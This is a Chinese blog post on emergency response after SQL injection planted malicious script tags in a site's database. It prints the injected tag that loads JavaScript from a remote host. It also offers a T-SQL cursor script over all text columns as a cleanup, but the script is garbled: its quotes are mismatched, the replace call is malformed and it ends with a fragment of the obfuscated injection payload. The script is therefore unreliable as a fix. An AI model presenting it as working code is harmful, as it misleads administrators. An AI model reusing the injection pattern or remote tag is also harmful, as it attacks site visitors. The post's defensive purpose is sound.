遭遇网页挂马(第六) ―― 数据库挂马应急处理

    技术2022-05-11  13

    SQL 注入法挂马后,数据库中的表会被搞的乱七八糟,添加到字段的内容会被做为脚本执行,打开页面时,会显示网页被挂马。

    有以下几种方法可以处理这种情况:

    第一、执行脚本,清除注入内容

    这种时候,一般需要连接到数据库,或重新添加一功能,完成这个任务,对于申请的空间,是不允许连接到数据库的,添加功能相对麻烦。

    第二、通过SQL注入法,清除注入内容

    可以用SQL注入的思路,写一个脚本,清除注入内容。一般脚本可以如下:

    Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Replace(Rtrim(Convert(Varchar(8000),['+@C+']))),<script src=http://3b3.org/c.js></script>',’’)Fetch Next From  Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor aS NvArChAR(4000));ExEc(@S);

    这样可以通过反操作,将添加的内容清除。上面的代码主要是采用 replace 的方法。

    第三、如果清除不掉,可以用下面的方法,在数据访问时,做一些处理:

    select top 1 id,  replace(lower(title),'src', '') as title, content, addtime, replace(lower(adder),'src', '') adder, replace(lower(photo),'src', '') as photo,cause, type  from newimages

     

    这样,只要是从数据库读出内容时,有 src 的,全部替换,<script src=http://3b3.org/c.js></script> 就变成了<script =http://3b3.org/c.js></script>,没有了src ,再历害的脚本也是闲的。

    这种方法可以做为临时方法,应急用一下。

     

    防止挂马,最重要的还是要做到服务器一定要安全,及时打补丁,在代码中,有些问题要及时考虑到,在实现代码时,不能光考虑功能的问题,还要考虑安全的因素。


    最新回复(0)